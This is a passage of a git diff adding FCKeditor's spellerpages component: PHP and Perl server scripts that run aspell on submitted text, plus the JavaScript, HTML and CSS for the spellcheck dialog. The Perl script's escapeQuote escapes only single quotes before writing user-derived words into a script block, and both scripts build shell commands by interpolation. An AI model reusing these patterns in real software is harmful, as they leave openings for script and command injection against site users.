+                               fwrite( $fh, "^$value\n" );
+                       }
+               }
+               fclose( $fh );
+
+               # exec aspell command - redirect STDERR to STDOUT
+               $cmd = "$aspell_prog $aspell_opts < $tempfile 2>&1";
+               if( $aspellret = shell_exec( $cmd )) {
+                       $linesout = explode( "\n", $aspellret );
+                       $index = 0;
+                       $text_input_index = -1;
+                       # parse each line of aspell return
+                       foreach( $linesout as $key=>$val ) {
+                               $chardesc = substr( $val, 0, 1 );
+                               # if '&', then not in dictionary but has suggestions
+                               # if '#', then not in dictionary and no suggestions
+                               # if '*', then it is a delimiter between text inputs
+                               # if '@' then version info
+                               if( $chardesc == '&' || $chardesc == '#' ) {
+                                       $line = explode( " ", $val, 5 );
+                                       print_words_elem( $line[1], $index, $text_input_index );
+                                       if( isset( $line[4] )) {
+                                               $suggs = explode( ", ", $line[4] );
+                                       } else {
+                                               $suggs = array();
+                                       }
+                                       print_suggs_elem( $suggs, $index, $text_input_index );
+                                       $index++;
+                               } elseif( $chardesc == '*' ) {
+                                       $text_input_index++;
+                                       print_textindex_decl( $text_input_index );
+                                       $index = 0;
+                               } elseif( $chardesc != '@' && $chardesc != "" ) {
+                                       # assume this is error output
+                                       $aspell_err .= $val;
+                               }
+                       }
+                       if( $aspell_err ) {
+                               $aspell_err = "Error executing `$cmd`\\n$aspell_err";
+                               error_handler( $aspell_err );
+                       }
+               } else {
+                       error_handler( "System error: Aspell program execution failed (`$cmd`)" );
+               }
+       } else {
+               error_handler( "System error: Could not open file '$tempfile' for writing" );
+       }
+
+       # close temp file, delete file
+       unlink( $tempfile );
+}
+
+
+?>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="<?php echo $spellercss ?>" />
+<script language="javascript" src="<?php echo $word_win_src ?>"></script>
+<script language="javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+<?php
+
+print_textinputs_var();
+
+print_checker_results();
+
+?>
+
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+function init_spell() {
+       // check if any error occured during server-side processing
+       if( error ) {
+               alert( error );
+       } else {
+               // call the init_spell() function in the parent frameset
+               if (parent.frames.length) {
+                       parent.init_spell( wordWindowObj );
+               } else {
+                       alert('This page was loaded outside of a frameset. It might not display properly');
+               }
+       }
+}
+
+
+
+</script>
+
+</head>
+<!-- <body onLoad="init_spell();">             by FredCK -->
+<body onLoad="init_spell();" bgcolor="#ffffff">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl
new file mode 100755 (executable)
index 0000000..cf71200
--- /dev/null
@@ -0,0 +1,180 @@
+#!/usr/bin/perl
+
+use CGI qw/ :standard /;
+use File::Temp qw/ tempfile tempdir /;
+
+# my $spellercss = '/speller/spellerStyle.css';                                        # by FredCK
+my $spellercss = '../spellerStyle.css';                                                        # by FredCK
+# my $wordWindowSrc = '/speller/wordWindow.js';                                        # by FredCK
+my $wordWindowSrc = '../wordWindow.js';                                                        # by FredCK
+my @textinputs = param( 'textinputs[]' ); # array
+# my $aspell_cmd = 'aspell';                                                                   # by FredCK (for Linux)
+my $aspell_cmd = '"C:\Program Files\Aspell\bin\aspell.exe"';   # by FredCK (for Windows)
+my $lang = 'en_US';
+# my $aspell_opts = "-a --lang=$lang --encoding=utf-8";                        # by FredCK
+my $aspell_opts = "-a --lang=$lang --encoding=utf-8 -H";               # by FredCK
+my $input_separator = "A";
+
+# set the 'wordtext' JavaScript variable to the submitted text. 
+sub printTextVar {
+       for( my $i = 0; $i <= $#textinputs; $i++ ) {
+               print "textinputs[$i] = decodeURIComponent('" . escapeQuote( $textinputs[$i] ) . "')\n";
+       }
+}
+
+sub printTextIdxDecl {
+       my $idx = shift;
+       print "words[$idx] = [];\n";
+       print "suggs[$idx] = [];\n";
+}
+
+sub printWordsElem {
+       my( $textIdx, $wordIdx, $word ) = @_;
+       print "words[$textIdx][$wordIdx] = '" . escapeQuote( $word ) . "';\n";
+}
+
+sub printSuggsElem {
+       my( $textIdx, $wordIdx, @suggs ) = @_;
+       print "suggs[$textIdx][$wordIdx] = [";
+       for my $i ( 0..$#suggs ) {
+               print "'" . escapeQuote( $suggs[$i] ) . "'";
+               if( $i < $#suggs ) {
+                       print ", ";
+               }
+       }
+       print "];\n";
+}
+
+sub printCheckerResults {
+       my $textInputIdx = -1;
+       my $wordIdx = 0;
+       my $unhandledText;
+       # create temp file
+       my $dir = tempdir( CLEANUP => 1 );
+       my( $fh, $tmpfilename ) = tempfile( DIR => $dir );
+
+       # temp file was created properly?
+       
+       # open temp file, add the submitted text.
+       for( my $i = 0; $i <= $#textinputs; $i++ ) {
+               $text = url_decode( $textinputs[$i] );
+               @lines = split( /\n/, $text );
+               print $fh "\%\n"; # exit terse mode
+               print $fh "^$input_separator\n";
+               print $fh "!\n";  # enter terse mode
+               for my $line ( @lines ) {
+                       # use carat on each line to escape possible aspell commands
+                       print $fh "^$line\n";
+               }
+               
+       }
+       # exec aspell command
+       my $cmd = "$aspell_cmd $aspell_opts < $tmpfilename 2>&1";
+       open ASPELL, "$cmd |" or handleError( "Could not execute `$cmd`\\n$!" ) and return;
+       # parse each line of aspell return
+       for my $ret ( <ASPELL> ) {
+               chomp( $ret );
+               # if '&', then not in dictionary but has suggestions
+               # if '#', then not in dictionary and no suggestions
+               # if '*', then it is a delimiter between text inputs
+               if( $ret =~ /^\*/ ) {
+                       $textInputIdx++;
+                       printTextIdxDecl( $textInputIdx );
+                       $wordIdx = 0;
+       
+               } elsif( $ret =~ /^(&|#)/ ) {
+                       my @tokens = split( " ", $ret, 5 );
+                       printWordsElem( $textInputIdx, $wordIdx, $tokens[1] );
+                       my @suggs = ();
+                       if( $tokens[4] ) {
+                               @suggs = split( ", ", $tokens[4] );
+                       }
+                       printSuggsElem( $textInputIdx, $wordIdx, @suggs );
+                       $wordIdx++;
+               } else {
+                       $unhandledText .= $ret;
+               }
+       }
+       close ASPELL or handleError( "Error executing `$cmd`\\n$unhandledText" ) and return;
+}
+
+sub escapeQuote {
+       my $str = shift;
+       $str =~ s/'/\\'/g;
+       return $str;
+}
+
+sub handleError {
+       my $err = shift;
+       print "error = '" . escapeQuote( $err ) . "';\n";
+}
+
+sub url_decode {
+       local $_ = @_ ? shift : $_;
+       defined or return;
+       # change + signs to spaces
+       tr/+/ /;
+       # change hex escapes to the proper characters
+       s/%([a-fA-F0-9]{2})/pack "H2", $1/eg;
+       return $_;
+}
+
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+# Display HTML
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+
+print <<EOF;
+Content-type: text/html; charset=utf-8
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="$spellercss"/>
+<script src="$wordWindowSrc"></script>
+<script type="text/javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+EOF
+
+printTextVar();
+
+printCheckerResults();
+
+print <<EOF;
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+
+function init_spell() {
+       // check if any error occured during server-side processing
+       if( error ) {
+               alert( error );
+       } else {
+               // call the init_spell() function in the parent frameset
+               if (parent.frames.length) {
+                       parent.init_spell( wordWindowObj );
+               } else {
+                       error = "This page was loaded outside of a frameset. "; 
+                       error += "It might not display properly";
+                       alert( error );
+               }
+       }
+}
+
+</script>
+
+</head>
+<body onLoad="init_spell();">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+EOF
+
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js
new file mode 100755 (executable)
index 0000000..7c4eee4
--- /dev/null
@@ -0,0 +1,462 @@
+////////////////////////////////////////////////////
+// spellChecker.js
+//
+// spellChecker object
+//
+// This file is sourced on web pages that have a textarea object to evaluate
+// for spelling. It includes the implementation for the spellCheckObject.
+//
+////////////////////////////////////////////////////
+
+
+// constructor
+function spellChecker( textObject ) {
+
+       // public properties - configurable
+//     this.popUpUrl = '/speller/spellchecker.html';                                                   // by FredCK
+       this.popUpUrl = 'fck_spellerpages/spellerpages/spellchecker.html';              // by FredCK
+       this.popUpName = 'spellchecker';
+//     this.popUpProps = "menu=no,width=440,height=350,top=70,left=120,resizable=yes,status=yes";      // by FredCK
+       this.popUpProps = null ;                                                                                                                                        // by FredCK
+//     this.spellCheckScript = '/speller/server-scripts/spellchecker.php';             // by FredCK
+       //this.spellCheckScript = '/cgi-bin/spellchecker.pl';
+
+       // values used to keep track of what happened to a word
+       this.replWordFlag = "R";        // single replace
+       this.ignrWordFlag = "I";        // single ignore
+       this.replAllFlag = "RA";        // replace all occurances
+       this.ignrAllFlag = "IA";        // ignore all occurances
+       this.fromReplAll = "~RA";       // an occurance of a "replace all" word
+       this.fromIgnrAll = "~IA";       // an occurance of a "ignore all" word
+       // properties set at run time
+       this.wordFlags = new Array();
+       this.currentTextIndex = 0;
+       this.currentWordIndex = 0;
+       this.spellCheckerWin = null;
+       this.controlWin = null;
+       this.wordWin = null;
+       this.textArea = textObject;     // deprecated
+       this.textInputs = arguments; 
+
+       // private methods
+       this._spellcheck = _spellcheck;
+       this._getSuggestions = _getSuggestions;
+       this._setAsIgnored = _setAsIgnored;
+       this._getTotalReplaced = _getTotalReplaced;
+       this._setWordText = _setWordText;
+       this._getFormInputs = _getFormInputs;
+
+       // public methods
+       this.openChecker = openChecker;
+       this.startCheck = startCheck;
+       this.checkTextBoxes = checkTextBoxes;
+       this.checkTextAreas = checkTextAreas;
+       this.spellCheckAll = spellCheckAll;
+       this.ignoreWord = ignoreWord;
+       this.ignoreAll = ignoreAll;
+       this.replaceWord = replaceWord;
+       this.replaceAll = replaceAll;
+       this.terminateSpell = terminateSpell;
+       this.undo = undo;
+
+       // set the current window's "speller" property to the instance of this class.
+       // this object can now be referenced by child windows/frames.
+       window.speller = this;
+}
+
+// call this method to check all text boxes (and only text boxes) in the HTML document
+function checkTextBoxes() {
+       this.textInputs = this._getFormInputs( "^text$" );
+       this.openChecker();
+}
+
+// call this method to check all textareas (and only textareas ) in the HTML document
+function checkTextAreas() {
+       this.textInputs = this._getFormInputs( "^textarea$" );
+       this.openChecker();
+}
+
+// call this method to check all text boxes and textareas in the HTML document
+function spellCheckAll() {
+       this.textInputs = this._getFormInputs( "^text(area)?$" );
+       this.openChecker();
+}
+
+// call this method to check text boxe(s) and/or textarea(s) that were passed in to the
+// object's constructor or to the textInputs property
+function openChecker() {
+       this.spellCheckerWin = window.open( this.popUpUrl, this.popUpName, this.popUpProps );
+       if( !this.spellCheckerWin.opener ) {
+               this.spellCheckerWin.opener = window;
+       }
+}
+
+function startCheck( wordWindowObj, controlWindowObj ) {
+
+       // set properties from args
+       this.wordWin = wordWindowObj;
+       this.controlWin = controlWindowObj;
+       
+       // reset properties
+       this.wordWin.resetForm();
+       this.controlWin.resetForm();
+       this.currentTextIndex = 0;
+       this.currentWordIndex = 0;
+       // initialize the flags to an array - one element for each text input
+       this.wordFlags = new Array( this.wordWin.textInputs.length );
+       // each element will be an array that keeps track of each word in the text
+       for( var i=0; i<this.wordFlags.length; i++ ) {
+               this.wordFlags[i] = [];
+       }
+
+       // start
+       this._spellcheck();
+       
+       return true;
+}
+
+function ignoreWord() {
+       var wi = this.currentWordIndex;
+       var ti = this.currentTextIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       if( !this.wordWin.getTextVal( ti, wi )) {
+               alert( 'Error: "Not in dictionary" text is missing.' );
+               return false;
+       }
+       // set as ignored
+       if( this._setAsIgnored( ti, wi, this.ignrWordFlag )) {
+               this.currentWordIndex++;
+               this._spellcheck();
+       }
+       return true;
+}
+
+function ignoreAll() {
+       var wi = this.currentWordIndex;
+       var ti = this.currentTextIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       // get the word that is currently being evaluated.
+       var s_word_to_repl = this.wordWin.getTextVal( ti, wi );
+       if( !s_word_to_repl ) {
+               alert( 'Error: "Not in dictionary" text is missing' );
+               return false;
+       }
+
+       // set this word as an "ignore all" word. 
+       this._setAsIgnored( ti, wi, this.ignrAllFlag );
+
+       // loop through all the words after this word
+       for( var i = ti; i < this.wordWin.textInputs.length; i++ ) {
+               for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                       if(( i == ti && j > wi ) || i > ti ) {
+                               // future word: set as "from ignore all" if
+                               // 1) do not already have a flag and 
+                               // 2) have the same value as current word
+                               if(( this.wordWin.getTextVal( i, j ) == s_word_to_repl )
+                               && ( !this.wordFlags[i][j] )) {
+                                       this._setAsIgnored( i, j, this.fromIgnrAll );
+                               }
+                       }
+               }
+       }
+
+       // finally, move on
+       this.currentWordIndex++;
+       this._spellcheck();
+       return true;
+}
+
+function replaceWord() {
+       var wi = this.currentWordIndex;
+       var ti = this.currentTextIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       if( !this.wordWin.getTextVal( ti, wi )) {
+               alert( 'Error: "Not in dictionary" text is missing' );
+               return false;
+       }
+       if( !this.controlWin.replacementText ) {
+               return false ;
+       }
+       var txt = this.controlWin.replacementText;
+       if( txt.value ) {
+               var newspell = new String( txt.value );
+               if( this._setWordText( ti, wi, newspell, this.replWordFlag )) {
+                       this.currentWordIndex++;
+                       this._spellcheck();
+               }
+       }
+       return true;
+}
+
+function replaceAll() {
+       var ti = this.currentTextIndex;
+       var wi = this.currentWordIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       var s_word_to_repl = this.wordWin.getTextVal( ti, wi );
+       if( !s_word_to_repl ) {
+               alert( 'Error: "Not in dictionary" text is missing' );
+               return false;
+       }
+       var txt = this.controlWin.replacementText;
+       if( !txt.value ) return false;
+       var newspell = new String( txt.value );
+
+       // set this word as a "replace all" word. 
+       this._setWordText( ti, wi, newspell, this.replAllFlag );
+
+       // loop through all the words after this word
+       for( var i = ti; i < this.wordWin.textInputs.length; i++ ) {
+               for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                       if(( i == ti && j > wi ) || i > ti ) {
+                               // future word: set word text to s_word_to_repl if
+                               // 1) do not already have a flag and 
+                               // 2) have the same value as s_word_to_repl
+                               if(( this.wordWin.getTextVal( i, j ) == s_word_to_repl )
+                               && ( !this.wordFlags[i][j] )) {
+                                       this._setWordText( i, j, newspell, this.fromReplAll );
+                               }
+                       }
+               }
+       }
+       
+       // finally, move on
+       this.currentWordIndex++;
+       this._spellcheck();
+       return true;
+}
+
+function terminateSpell() {
+       // called when we have reached the end of the spell checking.
+       var msg = "";           // by FredCK
+       var numrepl = this._getTotalReplaced();
+       if( numrepl == 0 ) {
+               // see if there were no misspellings to begin with
+               if( !this.wordWin ) {
+                       msg = "";
+               } else {
+                       if( this.wordWin.totalMisspellings() ) {
+//                             msg += "No words changed.";                     // by FredCK
+                               msg += FCKLang.DlgSpellNoChanges ;      // by FredCK
+                       } else {
+//                             msg += "No misspellings found.";        // by FredCK
+                               msg += FCKLang.DlgSpellNoMispell ;      // by FredCK
+                       }
+               }
+       } else if( numrepl == 1 ) {
+//             msg += "One word changed.";                     // by FredCK
+               msg += FCKLang.DlgSpellOneChange ;      // by FredCK
+       } else {
+//             msg += numrepl + " words changed.";     // by FredCK
+               msg += FCKLang.DlgSpellManyChanges.replace( /%1/g, numrepl ) ;
+       }
+       if( msg ) {
+//             msg += "\n";    // by FredCK
+               alert( msg );
+       }
+
+       if( numrepl > 0 ) {
+               // update the text field(s) on the opener window
+               for( var i = 0; i < this.textInputs.length; i++ ) {
+                       // this.textArea.value = this.wordWin.text;
+                       if( this.wordWin ) {
+                               if( this.wordWin.textInputs[i] ) {
+                                       this.textInputs[i].value = this.wordWin.textInputs[i];
+                               }
+                       }
+               }
+       }
+
+       // return back to the calling window
+//     this.spellCheckerWin.close();                                   // by FredCK
+       if ( typeof( this.OnFinished ) == 'function' )  // by FredCK
+               this.OnFinished(numrepl) ;                                      // by FredCK
+
+       return true;
+}
+
+function undo() {
+       // skip if this is the first word!
+       var ti = this.currentTextIndex;
+       var wi = this.currentWordIndex;
+       
+       if( this.wordWin.totalPreviousWords( ti, wi ) > 0 ) {
+               this.wordWin.removeFocus( ti, wi );
+
+               // go back to the last word index that was acted upon 
+               do {
+                       // if the current word index is zero then reset the seed
+                       if( this.currentWordIndex == 0 && this.currentTextIndex > 0 ) {
+                               this.currentTextIndex--;
+                               this.currentWordIndex = this.wordWin.totalWords( this.currentTextIndex )-1;
+                               if( this.currentWordIndex < 0 ) this.currentWordIndex = 0;
+                       } else {
+                               if( this.currentWordIndex > 0 ) {
+                                       this.currentWordIndex--;
+                               }
+                       }
+               } while ( 
+                       this.wordWin.totalWords( this.currentTextIndex ) == 0
+                       || this.wordFlags[this.currentTextIndex][this.currentWordIndex] == this.fromIgnrAll
+                       || this.wordFlags[this.currentTextIndex][this.currentWordIndex] == this.fromReplAll
+               ); 
+
+               var text_idx = this.currentTextIndex;
+               var idx = this.currentWordIndex;
+               var preReplSpell = this.wordWin.originalSpellings[text_idx][idx];
+               
+               // if we got back to the first word then set the Undo button back to disabled
+               if( this.wordWin.totalPreviousWords( text_idx, idx ) == 0 ) {
+                       this.controlWin.disableUndo();
+               }
+       
+               var i, j, origSpell ;
+               // examine what happened to this current word.
+               switch( this.wordFlags[text_idx][idx] ) {
+                       // replace all: go through this and all the future occurances of the word 
+                       // and revert them all to the original spelling and clear their flags
+                       case this.replAllFlag :
+                               for( i = text_idx; i < this.wordWin.textInputs.length; i++ ) {
+                                       for( j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                                               if(( i == text_idx && j >= idx ) || i > text_idx ) {
+                                                       origSpell = this.wordWin.originalSpellings[i][j];
+                                                       if( origSpell == preReplSpell ) {
+                                                               this._setWordText ( i, j, origSpell, undefined );
+                                                       }
+                                               }
+                                       }
+                               }
+                               break;
+                               
+                       // ignore all: go through all the future occurances of the word 
+                       // and clear their flags
+                       case this.ignrAllFlag :
+                               for( i = text_idx; i < this.wordWin.textInputs.length; i++ ) {
+                                       for( j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                                               if(( i == text_idx && j >= idx ) || i > text_idx ) {
+                                                       origSpell = this.wordWin.originalSpellings[i][j];
+                                                       if( origSpell == preReplSpell ) {
+                                                               this.wordFlags[i][j] = undefined; 
+                                                       }
+                                               }
+                                       }
+                               }
+                               break;
+                               
+                       // replace: revert the word to its original spelling
+                       case this.replWordFlag :
+                               this._setWordText ( text_idx, idx, preReplSpell, undefined );
+                               break;
+               }
+
+               // For all four cases, clear the wordFlag of this word. re-start the process
+               this.wordFlags[text_idx][idx] = undefined; 
+               this._spellcheck();
+       }
+}
+
+function _spellcheck() {
+       var ww = this.wordWin;
+       
+       // check if this is the last word in the current text element
+       if( this.currentWordIndex == ww.totalWords( this.currentTextIndex) ) {
+               this.currentTextIndex++;
+               this.currentWordIndex = 0;
+               // keep going if we're not yet past the last text element
+               if( this.currentTextIndex < this.wordWin.textInputs.length ) {  
+                       this._spellcheck();
+                       return;
+               } else {
+                       this.terminateSpell();
+                       return;
+               }
+       }
+       
+       // if this is after the first one make sure the Undo button is enabled
+       if( this.currentWordIndex > 0 ) {
+               this.controlWin.enableUndo();
+       }
+
+       // skip the current word if it has already been worked on
+       if( this.wordFlags[this.currentTextIndex][this.currentWordIndex] ) {
+               // increment the global current word index and move on.
+               this.currentWordIndex++;
+               this._spellcheck();
+       } else {
+               var evalText = ww.getTextVal( this.currentTextIndex, this.currentWordIndex );
+               if( evalText ) {
+                       this.controlWin.evaluatedText.value = evalText;
+                       ww.setFocus( this.currentTextIndex, this.currentWordIndex );
+                       this._getSuggestions( this.currentTextIndex, this.currentWordIndex );
+               }
+       }
+}
+
+function _getSuggestions( text_num, word_num ) {
+       this.controlWin.clearSuggestions();
+       // add suggestion in list for each suggested word.
+       // get the array of suggested words out of the
+       // three-dimensional array containing all suggestions.
+       var a_suggests = this.wordWin.suggestions[text_num][word_num];  
+       if( a_suggests ) {
+               // got an array of suggestions.
+               for( var ii = 0; ii < a_suggests.length; ii++ ) {       
+                       this.controlWin.addSuggestion( a_suggests[ii] );
+               }
+       }
+       this.controlWin.selectDefaultSuggestion();
+}
+
+function _setAsIgnored( text_num, word_num, flag ) {
+       // set the UI
+       this.wordWin.removeFocus( text_num, word_num );
+       // do the bookkeeping
+       this.wordFlags[text_num][word_num] = flag;
+       return true;
+}
+
+function _getTotalReplaced() {
+       var i_replaced = 0;
+       for( var i = 0; i < this.wordFlags.length; i++ ) {
+               for( var j = 0; j < this.wordFlags[i].length; j++ ) {
+                       if(( this.wordFlags[i][j] == this.replWordFlag )
+                       || ( this.wordFlags[i][j] == this.replAllFlag )
+                       || ( this.wordFlags[i][j] == this.fromReplAll )) {
+                               i_replaced++;
+                       }
+               }
+       }
+       return i_replaced;
+}
+
+function _setWordText( text_num, word_num, newText, flag ) {
+       // set the UI and form inputs
+       this.wordWin.setText( text_num, word_num, newText );
+       // keep track of what happened to this word:
+       this.wordFlags[text_num][word_num] = flag;
+       return true;
+}
+
+function _getFormInputs( inputPattern ) {
+       var inputs = new Array();
+       for( var i = 0; i < document.forms.length; i++ ) {
+               for( var j = 0; j < document.forms[i].elements.length; j++ ) {
+                       if( document.forms[i].elements[j].type.match( inputPattern )) {
+                               inputs[inputs.length] = document.forms[i].elements[j]; 
+                       }       
+               }
+       }
+       return inputs;
+}
+
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html
new file mode 100755 (executable)
index 0000000..c419d23
--- /dev/null
@@ -0,0 +1,71 @@
+
+<script>
+
+var wordWindow = null;
+var controlWindow = null;
+
+function init_spell( spellerWindow ) {
+
+       if( spellerWindow ) {
+               if( spellerWindow.windowType == "wordWindow" ) {
+                       wordWindow = spellerWindow;
+               } else if ( spellerWindow.windowType == "controlWindow" ) {
+                       controlWindow = spellerWindow;
+               }
+       }
+
+       if( controlWindow && wordWindow ) {
+               // populate the speller object and start it off!
+               var speller = opener.speller;
+               wordWindow.speller = speller;
+               speller.startCheck( wordWindow, controlWindow );
+       }
+}
+
+// encodeForPost
+function encodeForPost( str ) {
+       var s = new String( str );
+       s = encodeURIComponent( s );
+       // additionally encode single quotes to evade any PHP 
+       // magic_quotes_gpc setting (it inserts escape characters and 
+       // therefore skews the btye positions of misspelled words)
+       return s.replace( /\'/g, '%27' );
+}
+
+// post the text area data to the script that populates the speller
+function postWords() {
+       var bodyDoc = window.frames[0].document;
+       bodyDoc.open();
+       bodyDoc.write('<html>');
+       bodyDoc.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8">');
+       bodyDoc.write('<link rel="stylesheet" type="text/css" href="spellerStyle.css"/>');
+       if (opener) {
+               var speller = opener.speller;
+               bodyDoc.write('<body class="normalText" onLoad="document.forms[0].submit();">');
+               bodyDoc.write('<p>' + window.parent.FCKLang.DlgSpellProgress + '<\/p>');                // by FredCK
+               bodyDoc.write('<form action="'+speller.spellCheckScript+'" method="post">');
+               for( var i = 0; i < speller.textInputs.length; i++ ) {
+                       bodyDoc.write('<input type="hidden" name="textinputs[]" value="'+encodeForPost(speller.textInputs[i].value)+'">');
+               }
+               bodyDoc.write('<\/form>');
+               bodyDoc.write('<\/body>');
+       } else {
+               bodyDoc.write('<body class="normalText">');
+               bodyDoc.write('<p><b>This page cannot be displayed<\/b><\/p><p>The window was not opened from another window.<\/p>');
+               bodyDoc.write('<\/body>');
+       }
+       bodyDoc.write('<\/html>');
+       bodyDoc.close();
+}
+</script>
+
+<html>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<head>
+<title>Speller Pages</title>
+</head>
+<frameset rows="*,201" onLoad="postWords();">
+<frame src="blank.html">
+<frame src="controls.html">
+</frameset>
+</html>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css
new file mode 100755 (executable)
index 0000000..47bc1ef
--- /dev/null
@@ -0,0 +1,49 @@
+.blend {
+       font-family: courier new;
+       font-size: 10pt;
+       border: 0;
+       margin-bottom:-1;
+}
+.normalLabel {
+       font-size:8pt;
+}
+.normalText {
+       font-family:arial, helvetica, sans-serif;
+       font-size:10pt;
+       color:000000;
+       background-color:FFFFFF;
+}
+.plainText {
+       font-family: courier new, courier, monospace;
+       font-size: 10pt;
+       color:000000;
+       background-color:FFFFFF;
+}
+.controlWindowBody {
+       font-family:arial, helvetica, sans-serif;
+       font-size:8pt;
+       padding: 7px ;          /* by FredCK */
+       margin: 0px ;           /* by FredCK */
+       /* color:000000;                                by FredCK */
+       /* background-color:DADADA;             by FredCK */
+}
+.readonlyInput {
+       background-color:DADADA;
+       color:000000;
+       font-size:8pt;
+       width:392px;
+}
+.textDefault {
+       font-size:8pt;
+       width: 200px;
+}
+.buttonDefault {
+       width:90px;
+       height:22px;
+       font-size:8pt;
+}
+.suggSlct {
+       width:200px;
+       margin-top:2;
+       font-size:8pt;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js
new file mode 100755 (executable)
index 0000000..9cbf377
--- /dev/null
@@ -0,0 +1,272 @@
+////////////////////////////////////////////////////
+// wordWindow object
+////////////////////////////////////////////////////
+function wordWindow() {
+       // private properties
+       this._forms = [];
+
+       // private methods
+       this._getWordObject = _getWordObject;
+       //this._getSpellerObject = _getSpellerObject;
+       this._wordInputStr = _wordInputStr;
+       this._adjustIndexes = _adjustIndexes;
+       this._isWordChar = _isWordChar;
+       this._lastPos = _lastPos;
+       
+       // public properties
+       this.wordChar = /[a-zA-Z]/;
+       this.windowType = "wordWindow";
+       this.originalSpellings = new Array();
+       this.suggestions = new Array();
+       this.checkWordBgColor = "pink";
+       this.normWordBgColor = "white";
+       this.text = "";
+       this.textInputs = new Array();
+       this.indexes = new Array();
+       //this.speller = this._getSpellerObject();
+
+       // public methods
+       this.resetForm = resetForm;
+       this.totalMisspellings = totalMisspellings;
+       this.totalWords = totalWords;
+       this.totalPreviousWords = totalPreviousWords;
+       //this.getTextObjectArray = getTextObjectArray;
+       this.getTextVal = getTextVal;
+       this.setFocus = setFocus;
+       this.removeFocus = removeFocus;
+       this.setText = setText;
+       //this.getTotalWords = getTotalWords;
+       this.writeBody = writeBody;
+       this.printForHtml = printForHtml;
+}
+
+function resetForm() {
+       if( this._forms ) {
+               for( var i = 0; i < this._forms.length; i++ ) {
+                       this._forms[i].reset();
+               }
+       }
+       return true;
+}
+
+function totalMisspellings() {
+       var total_words = 0;
+       for( var i = 0; i < this.textInputs.length; i++ ) {
+               total_words += this.totalWords( i );
+       }
+       return total_words;
+}
+
+function totalWords( textIndex ) {
+       return this.originalSpellings[textIndex].length;
+}
+
+function totalPreviousWords( textIndex, wordIndex ) {
+       var total_words = 0;
+       for( var i = 0; i <= textIndex; i++ ) {
+               for( var j = 0; j < this.totalWords( i ); j++ ) {
+                       if( i == textIndex && j == wordIndex ) {
+                               break;
+                       } else {
+                               total_words++;
+                       }       
+               }
+       }
+       return total_words;
+}
+
+//function getTextObjectArray() {
+//     return this._form.elements;
+//}
+
+function getTextVal( textIndex, wordIndex ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       if( word ) {
+               return word.value;
+       }
+}
+
+function setFocus( textIndex, wordIndex ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       if( word ) {
+               if( word.type == "text" ) {
+                       word.focus();
+                       word.style.backgroundColor = this.checkWordBgColor;
+               }
+       }
+}
+
+function removeFocus( textIndex, wordIndex ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       if( word ) {
+               if( word.type == "text" ) {
+                       word.blur();
+                       word.style.backgroundColor = this.normWordBgColor;
+               }
+       }
+}
+
+function setText( textIndex, wordIndex, newText ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       var beginStr;
+       var endStr;
+       if( word ) {
+               var pos = this.indexes[textIndex][wordIndex];
+               var oldText = word.value;
+               // update the text given the index of the string
+               beginStr = this.textInputs[textIndex].substring( 0, pos );
+               endStr = this.textInputs[textIndex].substring( 
+                       pos + oldText.length, 
+                       this.textInputs[textIndex].length 
+               );
+               this.textInputs[textIndex] = beginStr + newText + endStr;
+               
+               // adjust the indexes on the stack given the differences in 
+               // length between the new word and old word. 
+               var lengthDiff = newText.length - oldText.length;
+               this._adjustIndexes( textIndex, wordIndex, lengthDiff );
+               
+               word.size = newText.length;
+               word.value = newText;
+               this.removeFocus( textIndex, wordIndex );
+       }
+}
+
+
+function writeBody() {
+       var d = window.document;
+       var is_html = false;
+
+       d.open();
+
+       // iterate through each text input.
+       for( var txtid = 0; txtid < this.textInputs.length; txtid++ ) { 
+               var end_idx = 0;
+               var begin_idx = 0;      
+               d.writeln( '<form name="textInput'+txtid+'">' );
+               var wordtxt = this.textInputs[txtid];
+               this.indexes[txtid] = [];
+
+               if( wordtxt ) {                 
